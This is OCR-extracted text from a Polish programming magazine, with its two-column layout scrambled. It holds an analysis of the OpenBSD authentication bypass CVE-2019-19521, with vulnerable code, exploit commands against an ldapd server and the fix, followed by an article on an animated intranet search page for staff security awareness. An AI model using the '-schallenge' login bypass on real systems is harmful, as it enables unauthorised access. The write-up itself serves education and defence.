cyjnych domyślnie umożliwia podejrzenie informacji o wszystkich działających proce- stępnie w linii 32 pobieramy obiekt użytkownika, ale nie weryfikujemy,
sach wszystkim użytkownikom. Jeżeli hasło byłoby przekazywane jako argument do
programu, to użytkownik monitorując listę procesów, mógłby wykraść poświadczenia czy jest on poprawny. Ostatecznie w linii 33, dla mode równego 1, pro-
innego użytkownika.
gram raportuje sukces, a następnie kończy działanie. Jedyny problem
Aby to zasymulować, możemy prześledzić prosty przykład. W jednej konsoli wy-
konujemy: z tym kodem występuje pomiędzy liniami 16 a 26. Jest to sekcja, w któ-
$ echo "sleep 99999" > login.sh rej weryfikujemy, czy została podana nazwa użytkownika. Uwzględ-
$ sh login.sh login password niając wcześniej wymienione problemy, jeżeli jako nazwę użytkownika
podamy ciąg -schallenge i nie będzie więcej argumentów opcji, to
Następnie możemy zalogować się do konsoli jako inny użytkownik i wyświetlić listę
uruchomionych procesów. Zauważymy, że login i hasło są pokazane na liście: zostanie on potraktowany jako opcja challenge, a program uwierzytel-
$ ps auxww | grep login niający zakończy działanie, raportując sukces! Analizę uruchomienia
oshogbo 118244 […] sh login.sh login password programu login_passwd pokazano w Listingu 5.

Nawet jeśli opcja wyświetlenia procesów dla innych użytkowników jest wyłączona, to Listing 4. Weryfikacja danych uwierzytelniających w login_passwd
należy pamiętać, że takie dane mogą przez przypadek znaleźć się w różnego rodzaju (część nieistotnych fragmentów została pominięta)
danych diagnostycznych lub mogą być podejrzane przez użytkownika uprzywilejowa-
nego root (choć ten i tak ma wiele innych możliwości, żeby „podkraść” dane uwierzy- // […]
telniające). 1 while ((ch = getopt(argc, argv, "ds:v:")) != -1) {
Nie ma żadnego uzasadnienia, dlaczego login nie jest przekazany w ramach standar- 2 switch (ch) {
dowego wejścia, po za tym, że może to w niektórych przypadkach skomplikować kod. 3 […]
4 case 's': /* service */
5 if (strcmp(optarg, "login") == 0)
6 mode = 0;
7 else if (strcmp(optarg, "challenge") == 0)
8 mode = 1;
CVE-2019-19521 9 else if (strcmp(optarg, "response") == 0)
10 mode = 2;
11 else {
Pod koniec roku 2019 firma Qualys zgłosiła błąd uwierzytelnienia 12 syslog(LOG_ERR, "%s: invalid service", optarg);
w OpenBSD 6.6 i wcześniejszych. Pierwszy problem, jaki napotka- 13 exit(1);
14 }
li badacze, to mieszanie danych z metadanymi uwierzytelniania. Jak 15 break;
widzieliśmy w Listingu 2, login użytkownika i opcje są podawane // […]

jako parametry programu, co oznacza, że jeżeli login przyjmie for- 16 switch (argc - optind) {
mę „-opcja”, to zostanie on zaklasyfikowany jako opcja do programu 17 case 2:
18 class = argv[optind + 1];
uwierzytelniającego, a nie jako nazwa użytkownika z myślnikiem na 19 /* FALLTHROUGH */
początku. 20 case 1:
21 username = argv[optind];
Drugim błędem, który już umożliwił exploitację, jest błąd lo- 22 break;
23 default:
giczny. Jak już wspomniano, wszystkie programy uwierzytelniające 24 syslog(LOG_ERR, "usage error");
muszą implementować trzy serwisy: login, challenge i response. Co 25 exit(1);
26 }
w przypadku, jeżeli dany program uwierzytelniający nie ma wspar- 27
cia challenge-response? To zależy już od implementacji. Program 28 /*
29 * get the password hash before
login_passwd weryfikuje hasło, opierając się tylko na pliku master. 30 * pledge(2) or it will return '*'
passwd, który nie wspiera metody challenge-response. Okazuje się, 31 */
32 pwd = getpwnam_shadow(username);
że w przypadku tego programu twórcy zdecydowali się zwracać po // […]
prostu powodzenie logowania. W Listingu 3 możemy znaleźć frag- 33 if (mode == 1) {
ment dokumentacji OpenBSD, która opisuje to zachowanie. 34 fprintf(back, BI_SILENT "\n");
35 exit(0);
Listing 3. Fragment dokumentacji login_passwd z OpenBSD 36 }

LOGIN_PASSWD(8) System Manager’s Manual Listing 5. Analiza różnych argumentów login_passwd

NAME openbsd# cd /usr/libexec/auth/login_passwd


login_passwd - provide standard password
authentication type # Podanie -schallenge i dowolnego loginu
# powoduje prawidłowe uwierzytelnienie
[…] openbsd# ./login_passwd -d -schallenge cokolwiek

<62> { 4 / 2021 < 98 > }


/ Błąd uwierzytelnienia w OpenBSD /

authorize ciąg został potraktowany jako opcja programu, a login_passwd wciąż


openbsd#
oczekiwał na jeszcze jeden argument z loginem. Z tego powodu pro-
# Podanie samego -schallenge
# spowoduje błędne uwierzytelnianie
gram uwierzytelniający odrzucił uwierzytelnienie. Natomiast okazuje
openbsd# ./login_passwd -d -schallenge się że, w przypadku ldapd(8) użytkownik został poprawnie uwierzy-
openbsd#
telniony. W celu dalszej analizy przyjrzyjmy się wywołaniom syste-
mowym programu ldapd(8). W Listingu 7 kolorem czerwonym zo-

EXPLOITACJA LDAPD(8) stały zaznaczone argumenty, z którymi ldapd(8) wywołuje program


login_passwd. Ponieważ OpenLDAP jako ostatni argument dodaje
Celem naszego ataku będzie serwer OpenLDAPa – ldapd(8). OpenL- klasę logowania default, login jest akceptowany jako dodatkowa
DAP to projekt implementujący usługi katalogowe, którego zadaniem opcja, a klasa logowania jest traktowana jako login użytkownika. Ze
jest umożliwienie wyszukiwania i uwierzytelniania obiektów w swo- względu na to, że typem logowania jest challenge i podany jest jaki-
jej bazie. W pierwszej kolejności musimy się upewnić, że ldapd(8) kolwiek login – uwierzytelnienie kończy się sukcesem.
korzysta z uwierzytelnienia BSD Auth. Okazuje się, że jest możliwe
Listing 7. Zrzut wywołań systemowych wykonanych przez ldapd(8), wygene-
skonfigurowanie OpenLDAPa w ten sposób, by użytkownicy zde- rowany za pomocą narzędzia ktrace(8)
finiowani lokalnie w OpenBSD mogli uwierzytelniać się w usłudze
openbsd# ps aux | grep ldapd
zdalnej. W tym celu należy zaznaczyć, że połączenie jest zaufane2, root 45953 [...] ldapd: auth
albo zastosować szyfrowane połączenie (ldaps). Próbę exploitacji ser- _ldapd 49737 [...] ldapd: ldap
openbsd# ktrace -di -p 45953
wera OpenLDAP zaprezentowano w Listingu 6. openbsd# ktrace -di -p 49737
openbsd# kdump | grep -B10 exec
Listing 6. Exploitacja serwera OpenLDAP 77388 ldapd NAMI "/usr/libexec/auth/login_passwd"
77388 ldapd ARGS
# Po podaniu nieprawidłowych danych uwierzytelnienie [0] = "passwd"
# zostaje odrzucone [1] = "-s"
$ ldapsearch -U login -w dowolnehaslo \ [2] = "response"
-O none -H ldap://192.168.67.101 [3] = "-schallenge"
SASL/PLAIN authentication started [4] = "default"
ldap_sasl_interactive: Invalid credentials (49) 77388 login_passwd NAMI "/usr/libexec/ld.so"
77388 login_passwd RET execve 0
# W momencie, gdy podamy jako login -schallenge
# uwierzytelnienie się powiedzie
$ ldapsearch -U -schallenge -w dowolnehaslo \
-O none -H ldap://192.168.67.101
SASL/PLAIN authentication started
PODATNE APLIKACJE
SASL username: -schallenge
SASL SSF: 0 Jak się okazuje, wiele narzędzi przekazuje klasę logowania do progra-
[…] mów uwierzytelniających. Niekiedy – jak w przypadku su(1) – jest
# numResponses: 1 to spowodowane tym, że użytkownik może ją podać jako opcję do
aplikacji. Czasami wynika to z faktu, że klasa jest dodawana automa-
Dla przypomnienia, z naszej wcześniejszej analizy z rozdziału tycznie przez API auth_subr(8). Przykładami podatnych aplikacji są:
„CVE-2019-19521”, gdzie uruchomiliśmy login_passwd z loginem » smtpd(8)
-schallenge, wynikało, że błąd nie jest exploitowalny: przekazany » ldapd(8)
» radiusd(8)

2. W celu zaznaczenia, że połączenie jest zaufane, przy konfiguracji nasłuchiwania należy dodać sło-
wo kluczowe secure, np. listen on vio0 port 389 secure.
/* REKLAMA */

{ WWW.PROGRAMISTAMAG.PL } <63>
Z ARCHIWUM CVE

Takie aplikacje jak su(1) i sshd(8) nie są exploitowalne, po-


mimo tego, że akceptują poprawne uwierzytelnianie od aplikacji. Zwracanie statusu na trzeci deskryptor
W przypadku su(1) login jest wykorzystywany w celu pobrania atry- Jedną z zaskakujących decyzji architektury BSD auth jest to, że status uwierzytelnie-
nia jest zwracany na trzeci deskryptor. W tym przypadku jest wykorzystany tak zwany
butu użytkownika. Ponieważ użytkownik -schallenge nie istnieje, oddzielny kanał zwrotny (ang. back channel). Wynika to z tego, że zerowy i pierwszy
aplikacja kończy działanie z błędem odczytu pamięci. W przypadku deskryptor są wykorzystywane do pobrania danych uwierzytelniających od użytkow-
nika. Program uwierzytelniający jest tworzony z programu, który go wywołał; z tego
SSH, ze względu na zdefiniowaną metodę challenge, aplikacja czeka powodu trzy pierwsze deskryptory są współdzielone z oryginalnym programem. To
na otrzymanie odpowiedzi zawierającej challenge. oznacza, że współdzielą wspólną konsolę (oczywiście o ile ona istnieje). Dzięki temu
programy uwierzytelniające, w przypadku takich aplikacji jak su(1) czy login(1), mogą
Opisywana podatność jest błędem systemowym i wiele więcej apli- bezpośrednio wypisać wymagane komunikaty na standardowe wyjście oraz czytać
kacji korzystających z uwierzytelnienia BSD Auth mogło być podatnych. standardowe wejście, a użytkownik widzi je w tej samej konsoli, z której wywołał uwie-
rzytelnienie. Drugi deskryptor jest zarezerwowany na standardowe wyjście błędów.
Z tego też powodu w programach uwierzytelniających został on pozostawiony bez
zmian. W innych przypadkach, takich jak sshd(8), pierwszy i drugi deskryptor mogą
REAKCJA OPENBSD zostać zamknięte i zamienione na gniazda (ang. socket).

Odpowiedź programistów OpenBSD w 2019 roku była niezwykle szyb-


ka. Już po 40 godzinach od zgłoszenia błąd został naprawiony, a po- Co ciekawe, w momencie pisania tego artykułu zarówno zacho-
prawka udostępniona dla użytkowników. Zmiany zostały wprowadzo- wanie login_passwd, jak i każdego z pozostałych programów uwie-
ne w bibliotece dostarczającej API uwierzytelniające dla konsumentów. rzytelniających nie zostało zmienione. W przypadku serwisu chal-
Uproszczone zmiany w bibliotece zostały zaprezentowane w Listingu 8. lenge program login_passwd wciąż zwraca sukces logowania3. Nie
zostało też dodane żadne sprawdzenie wymuszające użycia separa-
Listing 8. Skrócona wersja zmian zaimplementowanych przez Theo de Raadt
z projektu OpenBSD torów (w tym przypadku dwóch myślników). Jednym z problemów
jest to, że mogą zostać utworzone nowe API systemowe, które nie
--- a/lib/libc/gen/authenticate.c
+++ b/lib/libc/gen/authenticate.c oddzielą opcji od argumentów podwójnym myślnikiem. Kolejnym
} dylematem jest sytuacja, w której chcielibyśmy skorzystać bezpo-
DEF_WEAK(auth_cat);
średnio z login_passwd, a nie przez API systemowe, na przykład
+int
+_auth_validuser(const char *name) w jakimś skrypcie. Programista wciąż może powtórzyć ten sam błąd
+{
+ /*
i nie oddzielić dwoma myślnikami loginu. Należy jednak zazna-
+ * User name must be specified and may czyć, że bezpośrednie wykorzystanie programu uwierzytelniającego
+ * not start with a '-'.
+ */ login_passwd nie byłoby najlepszą i zalecaną praktyką.
+ if (*name == '\0' || *name == '-') {
+ syslog(LOG_ERR, "invalid user name %s", name);
+
+ }
return 0;
PODSUMOWANIE
+ return 1;
+} Podobnie jak w przypadku poprzednio opisywanej podatności Shell-
@@ -192,6 +203,10 @@ auth_approval( shock (zobacz Programista 3/2021), CVE-2019-19521 również jest błę-
if (pwd == NULL) { dem, w którym dochodzi do mieszania danych z metadanymi – w tym
if (name != NULL) {
+ if (!_auth_validuser(name)) { przypadku mieszania opcji uwierzytelniających z loginem. Druga sła-
+ warnx( bość umożliwiająca exploitację polega na tym, że niewspierana metoda
+ "cannot approve who we don’t recognize"
+ ); zwraca sukces zamiast informacji o braku wsparcia. Jest to błąd logicz-
+ return (0);
+ }
ny. Kwestie uwierzytelnienia są trudne i bardzo wrażliwe. Jak widać,
nawet specjaliści bezpieczeństwa mogą się na nich potknąć.
@@ -466,7 +486,8 @@ auth_userresponse(
char *response, int more)
} else 3. Bezpieczniej byłoby, gdyby zamiast zwracania powodzenia byłaby dostępna opcja wskazująca,
auth_setdata(as, "", 1); że ten serwis nie jest po prostu wspierany.

auth_call(as, path, style, "-s", "response",


- name, class, (char *)NULL);
+ "--", name, class, (char *)NULL);
Bibliografia
» https://www.openwall.com/lists/oss-security/2019/12/04/5
Pierwszym zabezpieczeniem jest funkcja _auth_validuser, która » OpenBSD manual page: login.conf(5)
w wielu miejscach sprawdza, czy nazwa użytkownika nie rozpoczyna » OpenBSD manual page: login_passwd(5)
» OpenBSD manual page: login_style(5)
się od myślnika oraz czy nie jest pusta.
Kolejne zabezpieczenie polega na oddzieleniu opcji od pozo-
stałych argumentów dwoma myślnikami. Możemy to zaobserwo-
wać przy wywołaniu ostatniej funkcji auth_call w Listingu 8. Jest MARIUSZ ZABORSKI
to znana opcja funkcji getopt(2). W momencie parsowania, gdy https://oshogbo.vexillium.org
getopt(2) znajdzie dwa myślniki, kończy analizowanie opcji pro- Ekspert bezpieczeństwa w grupie 4Prime.
gramu. Dzięki czemu żaden z pozostałych argumentów nie zostanie Wcześniej przez 8 lat współtworzył i zarządzał
zespołem programistów tworzących rozwiązanie
zinterpretowany jako opcja, nawet jeśli zaczyna się od myślnika. Jak
PAM w firmie Fudo Security. W wolnym czasie
możemy zauważyć w Listingu 4, właśnie ta funkcja została użyta do zaangażowany w rozwój projektów open-source,
parsowania argumentów. w szczególności FreeBSD.

<64> { 4 / 2021 < 98 > }


PLANETA IT

Programowanie napotyka cyberbezpieczeństwo


Świat IT gna przed siebie niczym legendarny już Usain Bolt, nie zwalniając tempa ani na mo-
ment. Na przełomie ostatnich kilkunastu lat programistom udało się zinformatyzować prak-
tycznie każdą dziedzinę życia codziennego. To w dużym stopniu dzięki nim Elon Musk mógł
zbudować potęgę Tesli i SpaceX, a urządzenia typu IoT zagościły pod nasze strzechy. Nie
sposób się nie zgodzić, że to właśnie my, programiści, jesteśmy cichymi bohaterami naszych
czasów. Tak szybko rozwijająca się informatyzacja przy niskim wzroście liczby specjalistów
zaczęła powodować jednak problemy natury cyberbezpieczeństwa. W jaki sposób, jako pro-
gramiści, możemy minimalizować zagrożenia bezpieczeństwa napotykane na naszej wirtual-
nej drodze?

J eszcze przed epidemią COVID-19 wiodącymi tematami w świecie


IT były te związane z cloudingiem i konteneryzacją. Obecnie na-
cisk na cybersecurity sprawił, że dziedzina ta dołączyła w rozmowach
to zazwyczaj bywa z bezpieczeństwem, tym najsłabszym ogniwem
okazuje się człowiek. W obecnych czasach, gdy coraz więcej firm
przechodzi na zdalny lub hybrydowy model pracy, dbanie o to, co
do wyżej wymienionych, a zapotrzebowanie na specjalistów w tej i gdzie wpisują ich pracownicy, staje się niekiedy sprawą kluczową.
materii z dnia na dzień stale się zwiększa. W tym artykule przedsta- Wyobraźmy sobie, że nieświadomy pracownik instytucji finansowej,
wimy kilka scenariuszy, a także sposoby radzenia sobie z narastają- w której pracujemy, zamiast wpisać szukaną frazę wewnątrz firmowej
cymi problemami cybersecurity. Skupimy się jednak nie na samych sieci, do której podłączony jest poprzez VPN, „przeskoczył” do okna
kodach i metodach jego zabezpieczenia, a bardziej na całościowym przeglądarki internetowej w sieci domowej i tam podjął próbę wy-
podejściu do tematyki cyberbezpieczeństwa. Zajmiemy się również szukania informacji. To już samo w sobie powodować może zagroże-
przedstawieniem sposobu myślenia w codziennych zadaniach, które nie. Dodając do tego fakt, że większość korporacji swoje wewnętrzne
kryje się za słowem cybersecurity. W tym celu przygotujemy dwa przeglądarki internetowe integruje z firmowymi portalami, takimi
całościowe rozwiązania, które zaprezentowane zostały na Rysunku 1. jak Intranet, informacje HR itp., powstaje pytanie:, co zrobić, jeże-
li wpisane informacje okażą się poufnymi? Wszyscy jesteśmy tylko
ludźmi i takie sytuacje podczas pracy zdalnej, czy to przymusowej,
czy to zaplanowanej, się zdarzają. Wróćmy więc do zadania nam zle-
conego, czyli w jaki sposób zainteresować i zwrócić poniekąd uwagę
pracowników, aby uważali na to, co i gdzie wpisują.

Rysunek 1. Prezentacja przygotowanych przez nas rozwiązań

Wyobraźmy sobie, że szef działu cybersecurity zlecił nam opracowa-


nie rozwiązania, które zmniejszyłoby ilość „niechcianych” zapytań
wpisywanych w wyszukiwarkę internetową wewnątrz firmy. Jedną
z pierwszych myśli, która na przedstawiony tak problem może nam Rysunek 2. Wygląd głównej strony wyszukiwania w firmowym Intranecie
się nasunąć, jest „wyciąć” wszystko na firewallach. W przypadku
większości firm takie procedury są stosowane od samego początku Na Rysunku 2 zaprezentowana została bardzo prosta strona inter-
ich powstawania. Zastanówmy się w takim układzie bardziej nad netowa, którą zaproponowaliśmy jako rozwiązanie działowi cyber-
samym problemem. Cybersecurity to także w ogromnej mierze edu- security. Całkiem prawdopodobne, że wielu z nas już gdzieś w wir-
kowanie pracowników i w pewnym sensie „otwieranie” im oczu na tualnym świecie podobnego misia zaobserwowało i będzie to trafne
zagrożenia, o których nie mieli do tej pory pojęcia. Całkiem możliwe spostrzeżenie. Każdy z programistów ma swój własny sposób na po-
również, że nie jesteśmy do końca o wszystkim poinformowani i, jak szukiwanie pomysłów i idei, jak podejść do danego problemu. Nie-

<66> { 4 / 2021 < 98 > }


/ Programowanie napotyka cyberbezpieczeństwo /

którzy z nas inspirację znajdą w takich internetowych platformach Mamy tu do czynienia z ważną z punktu widzenia bezpieczeństwa
jak Stack Overflow, inni z kolei wpadną na pomysł rozwiązania na różnicą. Otóż cała ta strona znajduje się w firmowej sieci Intranet, a co
portalach typu CodePen. Jednym z najważniejszych celów w życiu za tym idzie wszystko, co użytkownik wpisze w formularz, znajdzie
każdego z nas powinna być nauka, w jaki sposób i gdzie szukać po- się na firmowych serwerach. Przykład ten nie przewiduje filtrowania
mysłów, które pozwolą pokonywać przeszkody na naszej programi- treści, zbierania logów i tym podobnych, ale nic nie stoi na przeszko-
stycznej drodze. Na potrzeby tego zadania postanowiłem przysto- dzie, by rozwinąć taki projekt wedle zapotrzebowania. Przejdźmy
sować przykład formularza do logowania zaprezentowany przez @ jednak do naszego zadania, czyli uświadamiania pracowników, że
dsennef (https://codepen.io/dsenneff/). Głównym celem, jaki chcemy każda informacja przez nich wpisana w firmową wyszukiwarkę może
w tym przypadku osiągnąć, jest uczulenie naszych pracowników na stanowić zagrożenia dla bezpieczeństwa. W Listingu 1 pojawiają się
to, co i gdzie wpisują. Jedną z najprostszych dróg do osiągnięcia sa- dwa niestandardowe elementy: klasa svgContainer i załadowane
tysfakcjonującego rezultatu będzie umiejscowienie własnej strony do zewnętrzne biblioteki twin.js oraz mis.js. Oba te komponenty będą
wyszukiwania w Internecie, tak jak ma to miejsce na zaprezentowa- nam potrzebne do wygenerowania i przekształcenia w interaktywny
nym Rysunku 3. obiekt widocznego na Rysunku 2 misia. Jak już wspomniano, nasze
zadanie polega na tym, by pracownik zwracał baczniejszą uwagę na
to, co wpisuje w przeglądarkę. Pomóc nam w tym mogą przykuwają-
ce uwage ruszające się i interaktywne elementy. W tym celu musimy
naszego misia narysować i podzielić na ruchome elementy. Najlepiej
do tego użyć formatu SVG, czyli stworzyć go w postaci wektorowej.
Widoczny na Rysunku 2 miś znajduje się w klasie svgContainer,
natomiast część odpowiadająca za narysowanie jednej z łap zapre-
zentowana została w Listingu 2. Pełny kod projektu dostępny jest
Rysunek 3. Przykładowy schemat infrastruktury z własną stroną wyszukiwania w serwisie GitHub (link na końcu artykułu).

Listing 2. Łapa misia w postaci kodu SVG


Na przykład korzystając z GPO, możemy sprawić, by użytkownicy, któ-
rzy zamierzają wyszukać informację w Internecie, muszą zostać prze- <g class="arms">
<g class="armL" style="visibility: hidden;">
kierowani na stronę z naszym misiem. W Listingu 1 zaprezentowany <polygon fill="#DDF1FA" stroke="#3A5E77"
został wygląd strony HTML, która jest tak naprawdę prostym formula- stroke-width="2.5" stroke-linecap="round"
stroke-linejoin="round" stroke-miterlimit="10"
rzem przekierowującym szukaną frazę do przeglądarki Google. points="121.3,98.4 111,59.7 149.8,49.3
169.8,85.4"/>
Listing 1. Prosta strona z formularzem w HTML <path fill="#DDF1FA" stroke="#3A5E77"
stroke-width="2.5" stroke-linecap="round"
<!DOCTYPE html>
stroke-linejoin="round" stroke-miterlimit="10"
<html lang="pl">
d="M134.4,53.5l19.3-5.2c2.7-0.7,5.4,0.9,6.1,
<head>
3.5v0c0.7,2.7-0.9,5.4-3.5,6.1l-10.3,2.8"/>
<meta http-equiv="content-type"
content="text/html; charset=UTF-8"> <path fill="#DDF1FA" stroke="#3A5E77"
<meta charset="utf-8"> stroke-width="2.5" stroke-linecap="round"
<meta name="viewport" content=" stroke-linejoin="round" stroke-miterlimit="10"
width=device-width, initial-scale=1.0"> d="M150.9,59.4l26-7c2.7-0.7,5.4,0.9,6.1,
<meta name="description" 3.5v0c0.7,2.7-0.9,5.4-3.5,6.1l-21.3,5.7"/>
content="Programista - Mis">
<meta name="author" content="Michal Zbyl"> <g class="twoFingers">
<title>Internet</title> <path fill="#DDF1FA" stroke="#3A5E77"
<link href="main.css" rel="stylesheet"> stroke-width="2.5" stroke-linecap="round"
</head> stroke-linejoin="round" stroke-miterlimit="10"
<body> d="M158.3,67.8l23.1-6.2c2.7-0.7,5.4,0.9,6.1,
<section> 3.5v0c0.7,2.7-0.9,5.4-3.5,6.1l-23.1,6.2"/>
<form action="https://google.com/search"> <path fill="#A9DDF3" d="M180.1,65l2.2-0.6c1
<div class="pam"></div> .1-0.3,2.2,0.3,2.4,1.4v0c0.3,1.1-0.3,
<div class="svgContainer"></div> 2.2-1.4,2.4l-2.2,0.6L180.1,65z"/>
<div class="inputGroup inputGroup1"> <path fill="#DDF1FA" stroke="#3A5E77"
<label for="SearchE" id="SearchLabel">
stroke-width="2.5" stroke-linecap="round"
</label>
stroke-linejoin="round" stroke-miterlimit="10"
<input name="q" type="text" id="SearchL"
d="M160.8,77.5l19.4-5.2c2.7-0.7,5.4,0.9,6.1,
maxlength="254" />
</div> 3.5v0c0.7,2.7-0.9,5.4-3.5,6.1l-18.3,4.9"/>
<div class="inputGroup inputGroup3"> <path fill="#A9DDF3" d="M178.8,75.7l2.
<button id="Searchlo">Szukaj</button> 2-0.6c1.1-0.3,2.2,0.3,2.4,1.4v0c0.3,1.1-0.3,
</div> 2.2-1.4,2.4l-2.2,0.6L178.8,75.7z"/>
</form> </g>
</section> </g>
<div class="autor"> </g>
Michał Zbyl
</div>
<script src="twin.js"></script>
<script src="mis.js"></script>
</body>
</html>

{ WWW.PROGRAMISTAMAG.PL } <67>
PLANETA IT

Listing 4. Animacja zakrywania i odkrywania twarzy wraz ze śledzeniem


aktywacji pola szukania

function coverEyes() {
TweenMax.killTweensOf([armL, armR]);
TweenMax.set([armL, armR], {visibility: "visible"});
TweenMax.to(armL, .45, {x: -93, y: 10,
rotation: 0, ease: Quad.easeOut});
TweenMax.to(armR, .45, {x: -93, y: 10,
rotation: 0, ease: Quad.easeOut, delay: .1});
eyesCovered = true;
}

function uncoverEyes() {
TweenMax.killTweensOf([armL, armR]);
TweenMax.to(armL, 1.35, {y: 220, ease: Quad.easeOut});
TweenMax.to(armL, 1.35, {rotation: 105,
ease: Quad.easeOut, delay: .1});
TweenMax.to(armR, 1.35, {y: 220, ease: Quad.easeOut});
TweenMax.to(armR, 1.35, {rotation: -105,
ease: Quad.easeOut, delay: .1, onComplete:
function() {
TweenMax.set([armL, armR], {visibility: "hidden"});
}});
eyesCovered = false;
Rysunek 4. Prezentacja pierwszej interakcji misia }

function onSearchInput(e) {
Po narysowaniu w przeglądarce naszego yeti musimy sprawić, by calculateFaceMove(e);
przybrał on formę interaktywną. W tym celu wykorzystamy dar- var value = search.value;
curSearchIndex = value.length;
mowe biblioteki GSAP – GreenSock (https://greensock.com). Aby
if(curSearchIndex > 0) {
zwrócić uwagę pracownika, w misia zaimplementujemy szereg akcji TweenMax.to([eyeL, eyeR], 1, {scaleX: .85, scaleY:
i interakcji. Pierwszą z nich zaprezentowano na Rysunku 4. W po- .85, ease: Expo.easeOut});
eyeScale = .85;
równaniu z Rysunkiem 2 zauważyć możemy, że nasz miś zakrywa
if(curSearchIndex >= 6) {
łapami oczy. Jednak pierwszą i trwającą przez cały czas akcją jest coverEyes();
mruganie oczami, które zostało zaprezentowane w Listingu 3. Ak- resetFace();
stopBlinking();
cja ta składa się z dwóch funkcji. Pierwsza z nich, getRandomInit, startBlinking(5);
jak sama nazwa wskazuje, odpowiedzialna jest za wygenerowanie }
if(curSearchIndex > 9) {
losowej liczby. Natomiast funkcja startBlinking do przypisanych spreadFingers();
elementów odpowiadających lewemu i prawemu oku dodaje efekt }
if(curSearchIndex < 9) {
wchodzący w skład biblioteki GSAP 2 o nazwie yoyo i uruchamia go closeFingers();
}
z opóźnieniem. Za animacje naszych elementów wektorowych odpo- if(curSearchIndex < 6) {
wiedzialna jest funkcja TweenMax, która także wchodzi w skład wspo- uncoverEyes();
}
mnianej już biblioteki GSAP 2. if(curSearchIndex > 16) {
closeFingers();
Listing 3. Animacja mrugania oczami misia }
if(curSearchIndex > 18) {
function getRandomInt(max) { calculateFaceMove(e);
return Math.floor(Math.random() * TweenMax.to(armL, .5, {x: -93, y: 0, rotation:
Math.floor(max)); -0.5, ease: Quad.easeOut});
} closeFingers();
}
function startBlinking(delay) { if(curSearchIndex > 4) {
delay = getRandomInt(delay); TweenMax.to([eyeL, eyeR], 1, {scaleX: .65,
blinking = TweenMax.to([eyeL, eyeR], scaleY: .65, ease: Expo.easeOut,
.1, {delay: delay, scaleY: 0, yoyo: true, transformOrigin: "center center"});
repeat: 1, transformOrigin: "center center", } else {
onComplete: function() { TweenMax.to([eyeL, eyeR], 1, {scaleX: .85,
startBlinking(5); scaleY: .85, ease: Expo.easeOut});
}}); }
} } else {
startBlinking(5); TweenMax.to([eyeL, eyeR], 1, {scaleX: 1,
scaleY: 1, ease: Expo.easeOut});
uncoverEyes();
Pierwotnie zainicjowana pozycja łap naszego yetiego znajduje się poza }
}
widocznym na Rysunku 4 okręgiem. Animacja zakrywania przy uży-
function onSearchFocus(e) {
ciu łap uruchamia się w tym momencie, w którym pracownik rozpo- activeElement = "email";
czyna pisanie frazy w polu wyszukiwania. Dodatkowo, gdy klikniemy onEmailInput();
}
gdziekolwiek indziej niż samo pole wyszukiwania, twarz misia zo-
function onSearchBlur(e) {
stanie odkryta i będzie on ponownie wyglądać tak jak na Rysunku 2. activeElement = null;
W przypadku tych interakcji także korzystamy z biblioteki GSAP 2. setTimeout(function() {
if(activeElement !== "search") {
Akcje nie są złożone. Podsumowując, możemy napisać, że pozycja łap if(e.target.value == "") {
zostaje wyrzucona i ukryta poza widoczny kontener i na odwrót. e.target.parentElement.classList.

<68> { 4 / 2021 < 98 > }


/ Programowanie napotyka cyberbezpieczeństwo /

remove("focusWithText"); cybersecurity to całościowe podejście do IT. Oznacza to tylko tyle, że


}
resetFace(); w przypadku tego rozwiązania musimy umieścić naszą stronę w In-
uncoverEyes(); tranecie i zmienić polityki w firmie tak, aby każdy pracownik, który
stopBlinking();
startBlinking(5); otwiera przeglądarkę internetową, najpierw odsyłany był na WWW
} z naszym yeti. Oczywiście jest to tylko przykład i równie dobrze za-
}, 100);
} miast misia może być wiewiórka, postać CEO lub przekształcone
logo firmy. Dodatkowo możemy dodać funkcję śledzenia przez mi-
W Listingu 4 widzimy, w jaki sposób animacja ukrywania i odkry- sia tego, co pracownik pisze, tak jak na Rysunku 6. Wszystko w za-
wania twarzy misia jest zaprogramowana. Pojawia się tutaj także leżności od tego, co jest potrzebne i co uznamy za niezbędne. Jako
kod do śledzenia, czy pole formularza jest aktywne, czy też nie. Tego ciekawostkę dodam, że podobne rozwiązanie wprowadziłem już na
typu proste animacje przyciągają uwagę potencjalnego użytkow- produkcję w pewnej firmie, która bazowała na firewallach firmy For-
nika, a dzięki temu jest on bardziej zainteresowany i skupiony na tinet. Po audycie okazało się, że z miesiąca na miesiąc zanotowano
tym, co wpisuje jako szukaną frazę. Kod można by było rozbudować spadek wyszukiwanych fraz o 74%. Można więc wywnioskować, że
i usprawnić, pozbywając się tak dużej ilości instrukcji warunkowych takie rozwiązanie sprawdza się i powoduje, że użytkownicy bardziej
typu if. Na przykład nic nie stoi na przeszkodzie, aby dodać kilka analizują, czy na pewno powinni wyszukać dane informacje w Inter-
funkcji przełączających stan lub nawet zbudować klasę odpowiada- necie. Należy podkreślić, że mówimy tutaj o spadku wszystkich wy-
jącą za interakcje. Naszym głównym obowiązkiem jest jednak zna- szukiwań, a nie tylko tych z niebezpiecznymi lub blokowanymi na fi-
lezienie i zaproponowanie rozwiązania. Optymalizacja samego kodu rewallach słowami. Warto też dodać, że rozwiązanie to spowodowało
w tym przypadku powinna nastąpić już na etapie wdrożenia. Nie mniejsze obciążenie dla samych firewalli i sieci. Dla przypomnienia,
ukrywam, że zależy mi bardzo na podkreśleniu przesłania, jakie za pełne kody dostępne są na GitHubie, a link do tego projektu znajduje
tym podejściem się kryje. Często zdarza się tak, że chcemy zrobić coś się na końcu tego artykułu.
idealnie, ale nie jesteśmy w stanie zaproponować w satysfakcjonują-
cym czasie dobrego rozwiązania. Dlatego tak ważne jest skupienie
swoich sił na rozwiązaniu, a dopiero później na formie i opakowaniu.
W tym przypadku musimy sprawić, aby pracownicy zwracali większą
uwagę na to, co i gdzie wpisują. W takim celu zaprogramowaliśmy
naszego misia, który będąc w firmowej sieci, będzie stał na straży
i pilnował tego, by użytkownik był ostrożniejszy. Aby się upewnić, że
pracownicy zwrócą szczególną uwagę na wpisywane przez nich fra-
zy, implementujemy animację odrywania palców (Rysunek 5). Dzięki
takiemu zabiegowi użytkownik będzie miał wrażenie, że miś przez
palce podgląda, co jest faktycznie wpisywane w pole wyszukiwania,
i bardziej będzie zdawał sobie sprawę z tego, że to, co wpisuje, nie jest
anonimowe.

Rysunek 6. Animacja śledzenia tego, co pracownik wpisuje

Drugim scenariuszem, który chciałbym przeanalizować na łamach


tego artykułu, jest sytuacja, w której powinniśmy zbierać logi na
temat użytkowników, ilości i dokładnej godziny ich logowania do
systemów. Wyobraźmy sobie sytuację, że infrastruktura przeznaczo-
